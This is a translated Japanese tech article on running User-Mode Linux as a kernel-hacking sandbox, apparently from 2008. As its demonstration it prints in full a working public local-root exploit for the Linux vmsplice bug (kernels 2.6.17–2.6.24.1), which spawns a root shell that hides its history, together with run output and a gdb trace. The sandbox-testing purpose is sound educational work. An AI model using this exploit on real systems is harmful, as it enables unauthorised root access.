SHOEISHA iD

※旧SEメンバーシップ会員の方は、同じ登録情報(メールアドレス&パスワード)でログインいただけます

DeveloperZine(デベロッパージン)- エンジニアの意思決定を支える技術情報メディア ProductZine

CodeZine編集部では、現場で活躍するデベロッパーをスターにするためのカンファレンス「Developers Summit」や、エンジニアの生きざまをブーストするためのイベント「Developers Boost」など、さまざまなカンファレンスを企画・運営しています。

japan.internet.com翻訳記事

DebianユーザーのためのUbuntu活用法

Linux上でLinuxを稼働する

サンドボックスを試す

 ユーザー空間で稼働しているLinuxカーネルを利用することで、完全に安全な環境でプログラムを開発できるのはもちろん、安心してカーネル自身をハックしてデバッグできます。先月、vmspliceの悪用によるローカルルートの取得(vmsplice Local Root Exploit)という問題がLinuxコミュニティに報告され、カーネルバージョン2.6.24.2でその修正が行われました。コミュニティで入手したコードでこの弱点をテストしてみましょう(リスト2を参照)。UMLマシンの他にテストに適した場所はありません。

 このテストのために、脆弱性のあるカーネルバージョン(2.6.24.1など)をダウンロードしてインストールし、前述のステップにデバッグ用の次の2つの追加設定を加えた手順を実行して、UMLマシンをコンパイルします。

Kernel hacking  --->
     [*] Compile the kernel with debug info
     [*] Compile the kernel with frame pointers

 次にカーネルをブートし、標準ユーザーとしてアクセスして、コンパイルし、コードを実行します。

uml1-user@uml1:~$ gcc -g -o test proof-of-concept.c 
uml1-user@uml1:~$ ./test

 UMLはフリーズしますが、ホストシステムに影響はありません。

-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x40173000 .. 0x401a5000

 また、クラッシュしたUMLのumidがわかっている場合は、gdbを使ってホストからデバッグすることもできます。ファイルディレクトリ.uml/uml1-umid/pidでUMLのpidを検索し、次の行を実行します。

host-user@host:~$ gdb linux-2.6.24.1/linux pid_number

(gdb) where
#0  0xffffe410 in __kernel_vsyscall ()
#1  0xb7dcb2c9 in sigprocmask () from /lib/i686/cmov/libc.so.6
#2  0x080648c0 in change_sig (signal=11, on=1) at arch/um/os-linux/signal.c:186
#3  0x08066d1a in sig_handler_common_skas (sig=11, sc_ptr=0x81f4d24) at arch/um/os-Linux/skas/trap.c:38
#4  0x08064620 in sig_handler (sig=11, sc=0x81f4d24) at arch/um/os-Linux/signal.c:49
#5  0x0806478f in handle_signal (sig=136268828, sc=0x81f4d24) at arch/um/os-Linux/signal.c:136
#6  0x08065b07 in hard_handler (sig=11) at arch/um/os-Linux/sys-i386/signal.c:12
#7  <signal handler called>
#8  0x080c01a8 in splice_to_pipe (pipe=0x27488600, spd=0x27e02ec8) at fs/splice.c:257
#9  0x080c14d4 in vmsplice_to_pipe (file=0x8f95360, iov=0x0, nr_segs=4096, flags=<value optimized out>) at fs/splice.c:1462
#10 0x00001000 in ?? ()

 UMLのブート時およびブート後に、次のような目ざわりなメッセージが数多くコンソールに表示されます。

line_ioctl: tty0: unknown ioctl: 0x541e

 ファイルarch/um/drivers/line.cでカーネルのソースコードをよく調べたところ、この種のメッセージの原因であるコードを見つけました。

if (i == ARRAY_SIZE(tty_ioctls)) {
     printk(KERN_ERR "%s: %s: unknown ioctl: 0x%x\n",
     __FUNCTION__, tty->name, cmd);
}

 重要ではないようなので、コードをコメントアウトして問題を確認します。

 この操作により、ホストシステムのクラッシュを心配することなく、カーネルコードの一部を調査できました。Linuxカーネルをユーザー空間で稼働させるメリットが実証されました。

リスト1 boot.log
Core dump limits :
    soft - 0
    hard - NONE
Checking that ptrace can change system call numbers...OK
Checking syscall emulation patch for ptrace...OK
Checking advanced syscall emulation patch for ptrace...OK
Checking for tmpfs mount on /dev/shm...OK
Checking PROT_EXEC mmap in /dev/shm/...OK
Checking for the skas3 patch in the host:
  - /proc/mm...not found: No such file or directory
  - PTRACE_FAULTINFO...not found
  - PTRACE_LDT...not found
UML running in SKAS0 mode
Linux version 2.6.24.2 (host-user@host) (gcc version 4.2.3 (Debian 4.2.3-1)) #7 Mon Feb 25 17:47:58 CET 2008
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 130048
Kernel command line: ubd0=uml1-root con=pty con0=null,fd:2 con1=fd:0,fd:1 eth0=tuntap,the_uml_conn2 mem=512M root=98:0
PID hash table entries: 2048 (order: 11, 8192 bytes)
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 513408k available
Mount-cache hash table entries: 512
Checking for host processor cmov support...Yes
Checking for host processor xmm support...No
Checking that host ptys support output SIGIO...Yes
Checking that host ptys support SIGIO on close...No, enabling workaround
net_namespace: 64 bytes
Using 2.6 host AIO
NET: Registered protocol family 16
NET: Registered protocol family 2
Time: itimer clocksource has been installed.
IP route cache hash table entries: 4096 (order: 2, 16384 bytes)
TCP established hash table entries: 16384 (order: 5, 131072 bytes)
TCP bind hash table entries: 16384 (order: 4, 65536 bytes)
TCP: Hash tables configured (established 16384 bind 16384)
TCP reno registered
Checking host MADV_REMOVE support...OK
mconsole (version 2) initialized on /home/host-user/.uml/w0KI5c/mconsole
UML Audio Relay (host dsp = /dev/sound/dsp, host mixer = /dev/sound/mixer)
Host TLS support detected
Detected host type: i386
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
io scheduler noop registered
io scheduler anticipatory registered (default)
io scheduler deadline registered
io scheduler cfq registered
loop: module loaded
nbd: registered device at major 43
tun: Universal TUN/TAP device driver, 1.6
tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
TCP cubic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
Initialized stdio console driver
Console initialized on /dev/tty0
console [tty0] enabled
Initializing software serial port version 1
console [mc-1] enabled
 ubda: unknown partition table
Choosing a random ethernet address for device eth0
Netdevice 0 (86:2f:5d:f5:ac:49) : TUN/TAP backend - 
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
 * Reading files needed to boot...                                          [ OK ] 
 * Setting preliminary keymap... Couldnt get a file descriptor referring to the console
getmaster - no usable host pty devices
Failed to open console 2, err = -2
/bin/setupcon: 308: cannot open /dev/tty2: No such file
getmaster - no usable host pty devices
Failed to open console 3, err = -2
/bin/setupcon: 308: cannot open /dev/tty3: No such file
getmaster - no usable host pty devices
Failed to open console 4, err = -2
/bin/setupcon: 308: cannot open /dev/tty4: No such file
getmaster - no usable host pty devices
Failed to open console 5, err = -2
/bin/setupcon: 308: cannot open /dev/tty5: No such file
getmaster - no usable host pty devices
Failed to open console 6, err = -2
/bin/setupcon: 308: cannot open /dev/tty6: No such file
                                                                            [ OK ] 
 * Setting the system clock
hwclock is unable to get I/O port access:  the iopl(3) call failed.
 * Unable to set System Clock to: Wed Feb 27 17:28:39 UTC 2008
 * Starting basic networking...                                             [ OK ] 
 * Starting kernel event manager...                                         [ OK ] 
 * Loading hardware drivers...                                              [ OK ] 
 * Setting the system clock
hwclock is unable to get I/O port access:  the iopl(3) call failed.
 * Unable to set System Clock to: Wed Feb 27 17:28:48 UTC 2008
 * Activating swap...                                                       [ OK ] 
 * Checking root file system.                             fsck 1.40.2 (12-Jul-2007)
/dev/shm/root: clean, 97324/262144 files, 469622/1048576 blocks
                                                                            [ OK ] 
 * Checking file systems...                               fsck 1.40.2 (12-Jul-2007)
                                                                            [ OK ]
 * Mounting local filesystems...                                            [ OK ] 
 * Activating swapfile swap...                                              [ OK ] 
 * Checking minimum space in /tmp...                                        [ OK ] 
 * Configuring network interfaces...                                        [ OK ] 
FATAL: Could not load /lib/modules/2.6.24.2/modules.dep: No such file or directory
 * Starting system log daemon...                                            [ OK ] 
 * Starting kernel log daemon...                                                   
 * Starting system message bus dbus                                         [ OK ] 
 * Starting network connection manager NetworkManager                       [ OK ] 
 * Starting network events dispatcher NetworkManagerDispatcher              [ OK ] 
 * Starting System Tools Backends system-tools-backends                     [ OK ] 
 * Starting Hardware abstraction layer hald                                 [ OK ] 
 * Starting Common Unix Printing System: cupsd                              [ OK ] 
FATAL: Could not load /lib/modules/2.6.24.2/modules.dep: No such file or directory
 * Starting powernowd...                                                       /etc/rc2.d/S20powernowd: 156: cannot create /sys/devices/system/cpu/*//cpufreq/scaling_governor: Directory nonexistent
 * CPU frequency scaling not supported
                                                                            [ OK ] 
 * Starting ConsoleKit daemon console-kit-daemon                            [ OK ] 
 * Starting Avahi mDNS/DNS-SD Daemon avahi-daemon                           [ OK ] 
 * Starting DHCP D-Bus daemon dhcdbd                                        [ OK ] 
 * Starting Bluetooth services                                              [ OK ] 
 * Starting GNOME Display Manager...                                        [ OK ] 
 * Starting anac(h)ronistic cron anacron                                    [ OK ] 
 * Checking battery state...                                                [ OK ] 
 * Running local boot scripts (/etc/rc.local)                               [ OK ] 

Ubuntu 7.10 uml1 tty1

uml1 login: 
リスト2 vmspliceの悪用によるローカルルートの取得(vmsplice Local Root Exploit )
/*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*/
#define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <malloc.h> #include <limits.h> #include <signal.h> #include <unistd.h> #include <sys/uio.h> #include <sys/mman.h> #include <asm/page.h> #define __KERNEL__ #include <asm/unistd.h> #define PIPE_BUFFERS 16 #define PG_compound 14 #define uint unsigned int #define static_inline static inline __attribute__((always_inline)) #define STACK(x) (x + sizeof(x) - 40) struct page { unsigned long flags; int count; int mapcount; unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru; }; void exit_code(); char exit_stack[1024 * 1024]; void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); } #if defined (__i386__) #ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif #define USER_CS 0x73 #define USER_SS 0x7b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; } #elif defined (__x86_64__) #ifndef __NR_vmsplice #define __NR_vmsplice 278 #endif #define USER_CS 0x23 #define USER_SS 0x2b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr; } #else #error "unsupported arch" #endif #if defined (_syscall4) #define __NR__vmsplice __NR_vmsplice _syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags) #else #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #endif static uint uid, gid; void kernel_code() { int i; uint *p = get_current(); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } exit_kernel(); } void exit_code() { if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); } int main(int argc, char *argv[]) { int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5]; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); /*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]); pages[0]->flags = 1 << PG_compound; pages[0]->private = (unsigned long) pages[0]; pages[0]->count = 1; pages[1]->lru.next = (long) kernel_code; /*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page: 0x%lx\n", pages[3]); pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long) pages[2]; pages[2]->count = 1; pages[3]->lru.next = (long) kernel_code; /*****/ pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]); /*****/ map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); /*****/ map_size -= 2 * PAGE_SIZE; if (munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno); /*****/ if (pipe(pi) < 0) die("pipe", errno); close(pi[0]); iov.iov_base = map_addr; iov.iov_len = ULONG_MAX; signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0; }

この記事は参考になりましたか?

連載通知を行うには会員登録(無料)が必要です。
既に会員の方はを行ってください。
japan.internet.com翻訳記事連載記事一覧

もっと読む

この記事の著者

japan.internet.com(ジャパンインターネットコム)

japan.internet.com は、1999年9月にオープンした、日本初のネットビジネス専門ニュースサイト。月間2億以上のページビューを誇る米国 Jupitermedia Corporation (Nasdaq: JUPM) のニュースサイト internet.comEarthWeb.com からの最新記事を日本語に翻訳して掲載するとともに、日本独自のネットビジネス関連記事やレポートを配信。

※プロフィールは、執筆時点、または直近の記事の寄稿時点での内容です

Roberto Giorgetti(Roberto Giorgetti)

イタリアに拠点を置くITマネージャ、テクニカルライター。主にビジネス分野と工業分野でオープンソースの開発に従事。核工学の学位を持つ。

※プロフィールは、執筆時点、または直近の記事の寄稿時点での内容です

この記事は参考になりましたか?

この記事をシェア

CodeZine(コードジン)
https://codezine.jp/article/detail/2405 2008/09/05 11:14

イベント

CodeZine編集部では、現場で活躍するデベロッパーをスターにするためのカンファレンス「Developers Summit」や、エンジニアの生きざまをブーストするためのイベント「Developers Boost」など、さまざまなカンファレンスを企画・運営しています。

新規会員登録無料のご案内

  • ・全ての過去記事が閲覧できます
  • ・会員限定メルマガを受信できます

メールバックナンバー